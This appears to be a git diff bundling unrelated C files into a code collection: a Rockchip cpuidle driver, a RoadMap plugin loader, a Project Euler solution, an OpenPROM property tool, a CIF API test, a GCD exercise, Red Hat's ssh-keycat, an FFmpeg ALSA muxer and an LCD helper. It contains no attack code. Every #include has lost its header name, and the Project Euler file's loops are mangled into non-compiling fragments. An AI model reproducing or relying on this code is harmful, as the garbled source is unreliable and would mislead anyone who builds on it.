modify it + * under the terms and conditions of the GNU General Public License, + * version 2, as published by the Free Software Foundation. + * + * This program is distributed in the hope it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or + * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for + * more details. + */ + +#include +#include +#include +#include +#include + +#include + +static struct cpuidle_driver rk3288_cpuidle_driver = { + .name = "rk3288_cpuidle", + .owner = THIS_MODULE, + .states[0] = ARM_CPUIDLE_WFI_STATE, + .state_count = 1, +}; + +static int rockchip_cpuidle_probe(struct platform_device *pdev) +{ + int ret; + + ret = cpuidle_register(&rk3288_cpuidle_driver, NULL); + + if (ret) + pr_err("failed to register cpuidle driver: %d\n", ret); + + return ret; +} + +static int rockchip_cpuidle_remove(struct platform_device *pdev) +{ + cpuidle_unregister(&rk3288_cpuidle_driver); + + return 0; +} + +static const struct of_device_id rockchip_cpuidle_match[] = { + { .compatible = "rockchip,rk3288-cpuidle", }, + { /* sentinel */}, +}; +MODULE_DEVICE_TABLE(of, rockchip_cpuidle_match); + +static struct platform_driver rockchip_cpuidle_driver = { + .probe = rockchip_cpuidle_probe, + .remove = rockchip_cpuidle_remove, + .driver = { + .name = "rk3288-cpuidle", + .owner = THIS_MODULE, + .of_match_table = rockchip_cpuidle_match, + }, +}; + +module_platform_driver(rockchip_cpuidle_driver); + +MODULE_AUTHOR("Jeffy Chen "); +MODULE_DESCRIPTION("rockchip cpu idle driver"); +MODULE_LICENSE("GPL v2"); +MODULE_ALIAS("platform:rockchip-cpuidle"); diff --git a/pool/shard011/C/0142154_roadmap_library.c b/pool/shard011/C/0142154_roadmap_library.c new file mode 100644 index 0000000000000000000000000000000000000000..7a9e5d8854f805cd6d5f18f811a7cc007b505aec --- /dev/null +++ b/pool/shard011/C/0142154_roadmap_library.c @@ -0,0 +1,107 @@ +/* roadmap_library.c - a low level module to manage plugins for RoadMap. + * + * LICENSE: + * + * Copyright 2002 Pascal F. Martin + * + * This file is part of RoadMap. + * + * RoadMap is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * RoadMap is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with RoadMap; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + * + * SYNOPSYS: + * + * See roadmap_library.h + */ + +#include +#include +#include +#include + +#include "roadmap.h" +#include "roadmap_file.h" +#include "roadmap_library.h" + +struct roadmap_library_context { + const char *name; + void *handle; +}; + + +static char *roadmap_library_name (const char *pathname) { + + char *filename = malloc (strlen(pathname) + 4); + + roadmap_check_allocated(filename); + + strcpy (filename, pathname); + strcat (filename, ".so"); + + return filename; +} + + +RoadMapLibrary roadmap_library_load (const char *pathname) { + + RoadMapLibrary library; + char *filename = roadmap_library_name (pathname); + + void *handle = dlopen (filename, RTLD_NOW); + + if (handle == NULL) { + roadmap_log (ROADMAP_ERROR, + "cannot load library %s: %s", filename, dlerror()); + return NULL; + } + + library = (RoadMapLibrary) malloc (sizeof(struct roadmap_library_context)); + roadmap_check_allocated(library); + + library->name = filename; + library->handle = handle; + + return library; +} + + +int roadmap_library_exists (const char *pathname) { + + int result; + char *filename = roadmap_library_name (pathname); + + result = roadmap_file_exists (NULL, filename); + free (filename); + + return result; +} + + +void *roadmap_library_symbol (RoadMapLibrary library, const char *symbol) { + + void *address = dlsym (library->handle, symbol); + + if (address == NULL) { + + roadmap_log (ROADMAP_ERROR, + "cannot find %s in library %s: %s", + symbol, library->name, dlerror()); + dlclose (library->handle); + + return NULL; + } + + return address; +} + diff --git a/pool/shard011/C/0142155_solution.c b/pool/shard011/C/0142155_solution.c new file mode 100644 index 0000000000000000000000000000000000000000..ddf154268fc1d675584fbe3bce4bb98af3224416 --- /dev/null +++ b/pool/shard011/C/0142155_solution.c @@ -0,0 +1,67 @@ +#include +#include + +#define PCOUNT 1000 + +//Populates 'count' more primes into p until it's full +int findPrimes(unsigned int p[PCOUNT], int count) { + static unsigned int c=5; + static int last=-1; + int i,r, goalIndex = last + count; + if(last==-1) { + p[0] = 2; + p[1] = 3; + last = 1; + } + if(goalIndex > PCOUNT) + goalIndex = PCOUNT; + for(; last=r) { + last++; + p[last] = c; + } + } + return last; +} + +int main() { + unsigned int p[PCOUNT]; + int i, c=9, l, pst, r; + + do { + //Populate p with 50 more primes + l = findPrimes(p,50); + //Loop through candidates (c) until the last prime found is less + //than c. This makes sure that when testing a c we always have + //enough information. + for(; c-1; i--) { + //Testing if the prime at i gives a perfect square for + //the other variable. + pst = (c - p[i])/2; + r = (int)(sqrt(pst)); + if(pst==r*r) { + //pst is a perfect square. Go onto checking c+2. + pst=-1; + break; + } + } + //Check if we found the answer + if(pst>0) { + printf("Problem 46: %d\n", c); + return 0; + } + } + } while(l+1 +#include +#include +#include +#include +#include +#include +#include + +#include +#include + +#include "defs.h" + +extern char *path_openprom; +extern int eval; +extern int verbose; + +static char err_str[BUFSIZE]; + +static void op_notsupp (const struct extabent *, struct opiocdesc *, char *); + +/* + * There are several known fields that I either don't know how to + * deal with or require special treatment. + */ +static const struct extabent opextab[] = { + { "security-password", op_notsupp }, + { "security-mode", op_notsupp }, + { "oem-logo", op_notsupp }, + { NULL, op_notsupp }, +}; + +#define BARF(str1, str2) { \ + snprintf(err_str, sizeof err_str, "%s: %s", (str1), (str2)); \ + ++eval; \ + return (err_str); \ +}; + +void +op_action(char *keyword, char *arg) +{ + char *cp; + + if ((cp = op_handler(keyword, arg)) != NULL) + warnx("%s", cp); + return; +} + +int +check_for_openprom(void) +{ + int fd, rv, optnode; + + /* if we can't open it, obviously we can't use it. */ + if ((fd = open(path_openprom, O_RDONLY)) < 0) + return (0); + + /* check for the presence of OpenFirmware with OPIOCGETOPTNODE */ + rv = ioctl(fd, OPIOCGETOPTNODE, (char *)&optnode); + close (fd); + + return (rv == 0); +} + +char * +op_handler(char *keyword, char *arg) +{ + struct opiocdesc opio; + const struct extabent *ex; + char opio_buf[BUFSIZE]; + int fd, optnode; + + if ((fd = open(path_openprom, arg ? O_RDWR : O_RDONLY, 0640)) < 0) + BARF(path_openprom, strerror(errno)); + + /* Check to see if it's a special-case keyword. */ + for (ex = opextab; ex->ex_keyword != NULL; ++ex) + if (strcmp(ex->ex_keyword, keyword) == 0) + break; + + if (ioctl(fd, OPIOCGETOPTNODE, (char *)&optnode) < 0) { + (void)close(fd); + BARF("OPIOCGETOPTNODE", strerror(errno)); + } + + memset(&opio_buf[0], 0, sizeof(opio_buf)); + memset(&opio, 0, sizeof(opio)); + opio.op_nodeid = optnode; + opio.op_name = keyword; + opio.op_namelen = strlen(opio.op_name); + + if (arg) { + if (verbose) { + printf("old: "); + + opio.op_buf = &opio_buf[0]; + opio.op_buflen = sizeof(opio_buf); + if (ioctl(fd, OPIOCGET, (char *)&opio) < 0) { + (void)close(fd); + BARF("OPIOCGET", strerror(errno)); + } + + if (opio.op_buflen <= 0) { + printf("nothing available for %s\n", keyword); + goto out; + } + + if (ex->ex_keyword != NULL) + (*ex->ex_handler)(ex, &opio, NULL); + else + printf("%s\n", opio.op_buf); + } + out: + if (ex->ex_keyword != NULL) + (*ex->ex_handler)(ex, &opio, arg); + else { + opio.op_buf = arg; + opio.op_buflen = strlen(arg); + } + + if (ioctl(fd, OPIOCSET, (char *)&opio) < 0) { + (void)close(fd); + BARF("invalid keyword", keyword); + } + + if (verbose) { + printf("new: "); + if (ex->ex_keyword != NULL) + (*ex->ex_handler)(ex, &opio, NULL); + else + printf("%s\n", opio.op_buf); + } + } else { + opio.op_buf = &opio_buf[0]; + opio.op_buflen = sizeof(opio_buf); + if (ioctl(fd, OPIOCGET, (char *)&opio) < 0) { + (void)close(fd); + BARF("OPIOCGET", strerror(errno)); + } + + if (opio.op_buflen <= 0) { + (void)snprintf(err_str, sizeof err_str, + "nothing available for %s", keyword); + return (err_str); + } + + if (ex->ex_keyword != NULL) + (*ex->ex_handler)(ex, &opio, NULL); + else + printf("%s=%s\n", keyword, opio.op_buf); + } + + (void)close(fd); + return (NULL); +} + +/* ARGSUSED */ +static void +op_notsupp(const struct extabent *exent, struct opiocdesc *opiop, char *arg) +{ + + warnx("property `%s' not yet supported", exent->ex_keyword); +} + +/* + * XXX: This code is quite ugly. You have been warned. + * (Really! This is the only way I could get it to work!) + */ +void +op_dump(void) +{ + struct opiocdesc opio1, opio2; + const struct extabent *ex; + char buf1[BUFSIZE], buf2[BUFSIZE], buf3[BUFSIZE], buf4[BUFSIZE]; + int fd, optnode; + + if ((fd = open(path_openprom, O_RDONLY, 0640)) < 0) + err(1, "open: %s", path_openprom); + + if (ioctl(fd, OPIOCGETOPTNODE, (char *)&optnode) < 0) + err(1, "OPIOCGETOPTNODE"); + + memset(&opio1, 0, sizeof(opio1)); + + /* This will grab the first property name from OPIOCNEXTPROP. */ + memset(buf1, 0, sizeof(buf1)); + memset(buf2, 0, sizeof(buf2)); + + opio1.op_nodeid = opio2.op_nodeid = optnode; + + opio1.op_name = buf1; + opio1.op_buf = buf2; + + opio2.op_name = buf3; + opio2.op_buf = buf4; + + /* + * For reference: opio1 is for obtaining the name. Pass the + * name of the last property read in op_name, and the next one + * will be returned in op_buf. To get the first name, pass + * an empty string. There are no more properties when an + * empty string is returned. + * + * opio2 is for obtaining the value associated with that name. + * For some crazy reason, it seems as if we need to do all + * of that gratuitious zapping and copying. *sigh* + */ + for (;;) { + opio1.op_namelen = strlen(opio1.op_name); + opio1.op_buflen = sizeof(buf2); + + if (ioctl(fd, OPIOCNEXTPROP, (char *)&opio1) < 0) + err(1, "ioctl: OPIOCNEXTPROP"); + + /* + * The name of the property we wish to get the + * value for has been stored in the value field + * of opio1. If the length of the name is 0, there + * are no more properties left. + */ + strcpy(opio2.op_name, opio1.op_buf); /* XXX strcpy is safe */ + opio2.op_namelen = strlen(opio2.op_name); + + if (opio2.op_namelen == 0) { + (void)close(fd); + return; + } + + memset(opio2.op_buf, 0, sizeof(buf4)); + opio2.op_buflen = sizeof(buf4); + + if (ioctl(fd, OPIOCGET, (char *)&opio2) < 0) + err(1, "ioctl: OPIOCGET"); + + for (ex = opextab; ex->ex_keyword != NULL; ++ex) + if (strcmp(ex->ex_keyword, opio2.op_name) == 0) + break; + + if (ex->ex_keyword != NULL) + (*ex->ex_handler)(ex, &opio2, NULL); + else + printf("%s=%s\n", opio2.op_name, opio2.op_buf); + + /* + * Place the name of the last read value back into + * opio1 so that we may obtain the next name. + */ + memset(opio1.op_name, 0, sizeof(buf1)); + memset(opio1.op_buf, 0, sizeof(buf2)); + strcpy(opio1.op_name, opio2.op_name); /* XXX strcpy is safe */ + } + /* NOTREACHED */ +} diff --git a/pool/shard011/C/0142158_test_block_create_frame2.c b/pool/shard011/C/0142158_test_block_create_frame2.c new file mode 100644 index 0000000000000000000000000000000000000000..06aeaab77fa2a28a41fe3f3861a985598a4fd656 --- /dev/null +++ b/pool/shard011/C/0142158_test_block_create_frame2.c @@ -0,0 +1,119 @@ +/* + * test_block_create_frame2.c + * + * Tests general function of the CIF API's cif_block_create_frame() function. + * + * Copyright 2014, 2015 John C. Bollinger + * + * + * This file is part of the CIF API. + * + * The CIF API is free software: you can redistribute it and/or modify + * it under the terms of the GNU Lesser General Public License as published + * by the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * The CIF API is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public License + * along with the CIF API. If not, see . + */ + +#include +#include +#include "../cif.h" +#include "test.h" + +int main(void) { + char test_name[80] = "test_block_create_frame2"; + cif_tp *cif = NULL; + cif_block_tp *block = NULL; + cif_block_tp *block2 = NULL; + cif_frame_tp *frame = NULL; + U_STRING_DECL(block_code, "block", 6); + U_STRING_DECL(block2_code, "block2", 7); + +#define NUM_PATTERNS 9 + char code_patterns[NUM_PATTERNS][64] = { + "", + "frame_with\ttab", + "frame_with_LF\x0a", + "\011blockwith\032noprint", + "unpaired_hs_\\uda01foo", + "unpaired_ls_\\udf17foo", + "swapped_surrogates_\\udc00\\udbfffoo", + "low_\\uffff_notchar", + "high_\\udbff\\udffe_notchar", + }; +#define NUM_PAIRS 2 + char code_pairs[NUM_PAIRS][2][64] = { + { "dupe", "Dupe" }, + { "A\\u030angstr\\u00f6m", "\\u00e5ngstr\\u00d6m" } + }; + UChar buffer[CIF_LINE_LENGTH]; + int counter; + +#define TO_U(s) TO_UNICODE((s), buffer, CIF_LINE_LENGTH) + + U_STRING_INIT(block_code, "block", 6); + U_STRING_INIT(block2_code, "block2", 7); + TESTHEADER(test_name); + CREATE_CIF(test_name, cif); + CREATE_BLOCK(test_name, cif, block_code, block); + CREATE_BLOCK(test_name, cif, block2_code, block2); + + /* Test creating frames with invalid frame codes */ + for (counter = 0; counter < NUM_PATTERNS; counter++) { + TEST( + cif_block_create_frame(block, TO_U(code_patterns[counter]), NULL), + CIF_INVALID_FRAMECODE, + test_name, + counter + 1); + } + + /* Test creating frames with duplicate codes in the same block and in different blocks */ + for (counter = 0; counter < NUM_PAIRS; counter++) { + cif_frame_tp *frame2 = NULL; + + TEST( + cif_block_create_frame(block, TO_U(code_pairs[counter][0]), &frame), + CIF_OK, + test_name, + 3 * counter + NUM_PATTERNS + 1); + TEST( + cif_block_create_frame(block, TO_U(code_pairs[counter][1]), NULL), + CIF_DUP_FRAMECODE, + test_name, + 3 * counter + NUM_PATTERNS + 2); + TEST( + cif_block_create_frame(block2, TO_U(code_pairs[counter][1]), &frame2), + CIF_OK, + test_name, + 3 * counter + NUM_PATTERNS + 3); + if (cif_container_destroy(frame) != CIF_OK) return HARD_FAIL; + if (cif_container_destroy(frame2) != CIF_OK) return HARD_FAIL; + } + + /* Test a different variety of invalid frame code */ + for (counter = 0; counter < CIF_LINE_LENGTH; counter++) buffer[counter] = (UChar) 'b'; + buffer[CIF_LINE_LENGTH - 4] = (UChar) 0; + TEST(cif_block_create_frame(block, buffer, NULL), CIF_INVALID_FRAMECODE, test_name, + NUM_PATTERNS + 3 * NUM_PAIRS + 1); + + /* Test creating a frame nested in a frame */ + + /* This should not fail because we already tested it */ + if (cif_block_create_frame(block, TO_U(code_pairs[0][0]), &frame) != CIF_OK) return HARD_FAIL; + + /* done */ + + DESTROY_BLOCK(test_name, block2); + DESTROY_BLOCK(test_name, block); + DESTROY_CIF(test_name, cif); + + return 0; +} + diff --git a/pool/shard011/C/0142159_17.Calculate-GCD.c b/pool/shard011/C/0142159_17.Calculate-GCD.c new file mode 100644 index 0000000000000000000000000000000000000000..1bb6349e2305db9c565f97a0bf3850800a8b24c5 --- /dev/null +++ b/pool/shard011/C/0142159_17.Calculate-GCD.c @@ -0,0 +1,43 @@ +/* + * Write a program that calculates the greatest common divisor (GCD) of given + * two integers a and b. Use the Euclidean algorithm. Examples: +a b GCD(a, b) +3 2 1 +60 40 20 +5 -15 5 + */ + +#include + +int gcd(int, int); + +int main() { + int a, b; + printf("a = "); + scanf("%d", &a); + printf("b = "); + scanf("%d", &b); + + if (b > a) { + int oldValue = a; + a = b; + b = oldValue; + } + + int result = gcd(a, b); + + printf("gcd(%d, %d) = %d", a, b, result); + return 0; +} + +int gcd(int a, int b) { + int temp; + while (b != 0) { + temp = b; + b = a % b; + a = temp; + } + + return a; +} + diff --git a/pool/shard011/C/0142160_ssh-keycat.c b/pool/shard011/C/0142160_ssh-keycat.c new file mode 100644 index 0000000000000000000000000000000000000000..5678be07975f259c97bb7b032983f817d8d307aa --- /dev/null +++ b/pool/shard011/C/0142160_ssh-keycat.c @@ -0,0 +1,241 @@ +/* + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, and the entire permission notice in its entirety, + * including the disclaimer of warranties. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote + * products derived from this software without specific prior + * written permission. + * + * ALTERNATIVELY, this product may be distributed under the terms of + * the GNU Public License, in which case the provisions of the GPL are + * required INSTEAD OF the above restrictions. (This clause is + * necessary due to a potential bad interaction between the GPL and + * the restrictions contained in a BSD-style copyright.) + * + * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + * DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, + * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, + * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED + * OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * Copyright (c) 2011 Red Hat, Inc. + * Written by Tomas Mraz +*/ + +#define _GNU_SOURCE + +#include "config.h" +#include +#include +#include +#include +#include +#include +#include +#include +#ifdef HAVE_STDINT_H +#include +#endif + +#include + +#include "uidswap.h" +#include "misc.h" + +#define ERR_USAGE 1 +#define ERR_PAM_START 2 +#define ERR_OPEN_SESSION 3 +#define ERR_CLOSE_SESSION 4 +#define ERR_PAM_END 5 +#define ERR_GETPWNAM 6 +#define ERR_MEMORY 7 +#define ERR_OPEN 8 +#define ERR_FILE_MODE 9 +#define ERR_FDOPEN 10 +#define ERR_STAT 11 +#define ERR_WRITE 12 +#define ERR_PAM_PUTENV 13 +#define BUFLEN 4096 + +/* Just ignore the messages in the conversation function */ +static int +dummy_conv(int num_msg, const struct pam_message **msgm, + struct pam_response **response, void *appdata_ptr) +{ + struct pam_response *rsp; + + (void)msgm; + (void)appdata_ptr; + + if (num_msg <= 0) + return PAM_CONV_ERR; + + /* Just allocate the array as empty responses */ + rsp = calloc (num_msg, sizeof (struct pam_response)); + if (rsp == NULL) + return PAM_CONV_ERR; + + *response = rsp; + return PAM_SUCCESS; +} + +static struct pam_conv conv = { + dummy_conv, + NULL +}; + +char * +make_auth_keys_name(const struct passwd *pwd) +{ + char *fname; + + if (asprintf(&fname, "%s/.ssh/authorized_keys", pwd->pw_dir) < 0) + return NULL; + + return fname; +} + +int +dump_keys(const char *user) +{ + struct passwd *pwd; + int fd = -1; + FILE *f = NULL; + char *fname = NULL; + int rv = 0; + char buf[BUFLEN]; + size_t len; + struct stat st; + + if ((pwd = getpwnam(user)) == NULL) { + return ERR_GETPWNAM; + } + + if ((fname = make_auth_keys_name(pwd)) == NULL) { + return ERR_MEMORY; + } + + temporarily_use_uid(pwd); + + if ((fd = open(fname, O_RDONLY|O_NONBLOCK|O_NOFOLLOW, 0)) < 0) { + rv = ERR_OPEN; + goto fail; + } + + if (fstat(fd, &st) < 0) { + rv = ERR_STAT; + goto fail; + } + + if (!S_ISREG(st.st_mode) || + (st.st_uid != pwd->pw_uid && st.st_uid != 0)) { + rv = ERR_FILE_MODE; + goto fail; + } + + unset_nonblock(fd); + + if ((f = fdopen(fd, "r")) == NULL) { + rv = ERR_FDOPEN; + goto fail; + } + + fd = -1; + + while ((len = fread(buf, 1, sizeof(buf), f)) > 0) { + rv = fwrite(buf, 1, len, stdout) != len ? ERR_WRITE : 0; + } + +fail: + if (fd != -1) + close(fd); + if (f != NULL) + fclose(f); + free(fname); + restore_uid(); + return rv; +} + +static const char *env_names[] = { "SELINUX_ROLE_REQUESTED", + "SELINUX_LEVEL_REQUESTED", + "SELINUX_USE_CURRENT_RANGE" +}; + +extern char **environ; + +int +set_pam_environment(pam_handle_t *pamh) +{ + int i; + size_t j; + + for (j = 0; j < sizeof(env_names)/sizeof(env_names[0]); ++j) { + int len = strlen(env_names[j]); + + for (i = 0; environ[i] != NULL; ++i) { + if (strncmp(env_names[j], environ[i], len) == 0 && + environ[i][len] == '=') { + if (pam_putenv(pamh, environ[i]) != PAM_SUCCESS) + return ERR_PAM_PUTENV; + } + } + } + + return 0; +} + +int +main(int argc, char *argv[]) +{ + pam_handle_t *pamh = NULL; + int retval; + int ev = 0; + + if (argc != 2) { + fprintf(stderr, "Usage: %s \n", argv[0]); + return ERR_USAGE; + } + + retval = pam_start("ssh-keycat", argv[1], &conv, &pamh); + if (retval != PAM_SUCCESS) { + return ERR_PAM_START; + } + + ev = set_pam_environment(pamh); + if (ev != 0) + goto finish; + + retval = pam_open_session(pamh, PAM_SILENT); + if (retval != PAM_SUCCESS) { + ev = ERR_OPEN_SESSION; + goto finish; + } + + ev = dump_keys(argv[1]); + + retval = pam_close_session(pamh, PAM_SILENT); + if (retval != PAM_SUCCESS) { + ev = ERR_CLOSE_SESSION; + } + +finish: + retval = pam_end (pamh,retval); + if (retval != PAM_SUCCESS) { + ev = ERR_PAM_END; + } + return ev; +} diff --git a/pool/shard011/C/0142161_alsa-audio-enc.c b/pool/shard011/C/0142161_alsa-audio-enc.c new file mode 100644 index 0000000000000000000000000000000000000000..0f4e4a2c7a402d1bd006816ddae0d98dfb6717d1 --- /dev/null +++ b/pool/shard011/C/0142161_alsa-audio-enc.c @@ -0,0 +1,129 @@ +/* + * ALSA input and output + * Copyright (c) 2007 Luca Abeni ( lucabe72 email it ) + * Copyright (c) 2007 Benoit Fouet ( benoit fouet free fr ) + * + * This file is part of FFmpeg. + * + * FFmpeg is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2.1 of the License, or (at your option) any later version. + * + * FFmpeg is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with FFmpeg; if not, write to the Free Software + * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/** + * @file + * ALSA input and output: output + * @author Luca Abeni ( lucabe72 email it ) + * @author Benoit Fouet ( benoit fouet free fr ) + * + * This avdevice encoder allows to play audio to an ALSA (Advanced Linux + * Sound Architecture) device. + * + * The filename parameter is the name of an ALSA PCM device capable of + * capture, for example "default" or "plughw:1"; see the ALSA documentation + * for naming conventions. The empty string is equivalent to "default". + * + * The playback period is set to the lower value available for the device, + * which gives a low latency suitable for real-time playback. + */ + +#include + +#include "libavutil/time.h" +#include "libavformat/internal.h" +#include "avdevice.h" +#include "alsa-audio.h" + +static av_cold int audio_write_header(AVFormatContext *s1) +{ + AlsaData *s = s1->priv_data; + AVStream *st; + unsigned int sample_rate; + enum AVCodecID codec_id; + int res; + + st = s1->streams[0]; + sample_rate = st->codec->sample_rate; + codec_id = st->codec->codec_id; + res = ff_alsa_open(s1, SND_PCM_STREAM_PLAYBACK, &sample_rate, + st->codec->channels, &codec_id); + if (sample_rate != st->codec->sample_rate) { + av_log(s1, AV_LOG_ERROR, + "sample rate %d not available, nearest is %d\n", + st->codec->sample_rate, sample_rate); + goto fail; + } + avpriv_set_pts_info(st, 64, 1, sample_rate); + + return res; + +fail: + snd_pcm_close(s->h); + return AVERROR(EIO); +} + +static int audio_write_packet(AVFormatContext *s1, AVPacket *pkt) +{ + AlsaData *s = s1->priv_data; + int res; + int size = pkt->size; + uint8_t *buf = pkt->data; + + size /= s->frame_size; + if (s->reorder_func) { + if (size > s->reorder_buf_size) + if (ff_alsa_extend_reorder_buf(s, size)) + return AVERROR(ENOMEM); + s->reorder_func(buf, s->reorder_buf, size); + buf = s->reorder_buf; + } + while ((res = snd_pcm_writei(s->h, buf, size)) < 0) { + if (res == -EAGAIN) { + + return AVERROR(EAGAIN); + } + + if (ff_alsa_xrun_recover(s1, res) < 0) { + av_log(s1, AV_LOG_ERROR, "ALSA write error: %s\n", + snd_strerror(res)); + + return AVERROR(EIO); + } + } + + return 0; +} + +static void +audio_get_output_timestamp(AVFormatContext *s1, int stream, + int64_t *dts, int64_t *wall) +{ + AlsaData *s = s1->priv_data; + snd_pcm_sframes_t delay = 0; + *wall = av_gettime(); + snd_pcm_delay(s->h, &delay); + *dts = s1->streams[0]->cur_dts - delay; +} + +AVOutputFormat ff_alsa_muxer = { + .name = "alsa", + .long_name = NULL_IF_CONFIG_SMALL("ALSA audio output"), + .priv_data_size = sizeof(AlsaData), + .audio_codec = DEFAULT_CODEC_ID, + .video_codec = AV_CODEC_ID_NONE, + .write_header = audio_write_header, + .write_packet = audio_write_packet, + .write_trailer = ff_alsa_close, + .get_output_timestamp = audio_get_output_timestamp, + .flags = AVFMT_NOFILE, +}; diff --git a/pool/shard011/C/0142162_lcd_ctrl.c b/pool/shard011/C/0142162_lcd_ctrl.c new file mode 100644 index 0000000000000000000000000000000000000000..4e7b45339879613fb6b5a0f3dc844d0ef9fea1d4 --- /dev/null +++ b/pool/shard011/C/0142162_lcd_ctrl.c @@ -0,0 +1,134 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include "jz_fb.h" +#include "regs.h" + +static LIST_HEAD(jzfb_list); +static DEFINE_SPINLOCK(jzfb_lock); + +void jzfb_ctrl_register(struct jzfb *jzfb) { + unsigned long flags; + + spin_lock_irqsave(&jzfb_lock, flags); + list_add_tail(&jzfb->link, &jzfb_list); + spin_unlock_irqrestore(&jzfb_lock, flags); +} + +void jzfb_ctrl_unregister(struct jzfb *jzfb) { + unsigned long flags; + + spin_lock_irqsave(&jzfb_lock, flags); + list_del(&jzfb->link); + spin_unlock_irqrestore(&jzfb_lock, flags); +} + +static inline struct jzfb *get_jzfb_by_id_internal(int id) { + struct list_head *pos; + struct jzfb *fb; + + list_for_each(pos, &jzfb_list) { + fb = list_entry(pos, struct jzfb, link); + return fb; + } + return NULL; +} + +struct jzfb *get_jzfb_by_id(int id) { + unsigned long flags; + struct jzfb *fb; + + spin_lock_irqsave(&jzfb_lock, flags); + fb = get_jzfb_by_id_internal(id); + spin_unlock_irqrestore(&jzfb_lock, flags); + + return fb; +} + +const char *jzfb_get_lcd_name(int id) { + const char *name; + unsigned long flags; + struct jzfb *fb; + + spin_lock_irqsave(&jzfb_lock, flags); + fb = get_jzfb_by_id_internal(id); + name = (fb && fb->pdata) ? fb->pdata->name : NULL; + spin_unlock_irqrestore(&jzfb_lock, flags); + + return name; +} + +struct jzfb *get_jzfb_by_lcd_name(const char *name) { + struct list_head *pos; + struct jzfb *jzfb = NULL; + unsigned long flags; + + spin_lock_irqsave(&jzfb_lock, flags); + list_for_each(pos, &jzfb_list) { + struct jzfb *fb; + fb = list_entry(pos, struct jzfb, link); + if (fb->pdata && fb->pdata->name && !strcmp(name, fb->pdata->name)) { + jzfb = fb; + break; + } + } + spin_unlock_irqrestore(&jzfb_lock, flags); + + return jzfb; +} + +#ifdef CONFIG_SLPT +const char *slpt_get_default_lcd(int *idp) { + struct list_head *pos; + + pr_info("%s %d\n", __FUNCTION__, __LINE__); + + list_for_each(pos, &jzfb_list) { + struct jzfb *fb; + fb = list_entry(pos, struct jzfb, link); + if (fb->pdata && fb->pdata->name) { + if (idp) { + *idp = 0; + /* *idp = fb->id; */ + } + pr_info("slpt: detected lcd name: %s\n", fb->pdata->name ? fb->pdata->name : "null"); + return fb->pdata->name; + } + } + + return NULL; +} +EXPORT_SYMBOL(slpt_get_default_lcd); + +unsigned long slpt_get_jzfb_param(int id, const char *param) { + struct jzfb *fb; + + fb = get_jzfb_by_id_internal(id); + if (!fb || !param) { + pr_err("jzfb: %s failed\n", __FUNCTION__); + return 0; + } + + if (!strcmp(param, "fb-mem")) + return (unsigned long)fb->vidmem; + else if (!strcmp(param, "fb-num")) + return NUM_FRAME_BUFFERS; + else if (!strcmp(param, "frmsize")) + return (unsigned long) fb->frm_size; + else if (!strcmp(param, "lcd-name")) + return (unsigned long) (fb->pdata ? fb->pdata->name : 0); + return 0; +} +EXPORT_SYMBOL(slpt_get_jzfb_param); +#endif diff --git a/pool/shard011/C/0142163_linux-evsource-mice.c b/pool/shard011/C/0142163_linux-evsource-mice.c new file mode 100644 index 0000000000000000000000000000000000000000..ca1f462d98d19d6566867cc13222d578b1a46f61 --- /dev/null +++ b/pool/shard011/C/0142163_linux-evsource-mice.c @@ -0,0 +1,172 @@ +/* + * 2014 (c) Øyvind Kolås +Permission to use, copy, modify, and/or distribute this software for any +purpose with or without fee is hereby granted, provided that the above +copyright notice and this permission notice appear in all copies. + +THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES +WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR +ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES +WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN +ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF +OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. 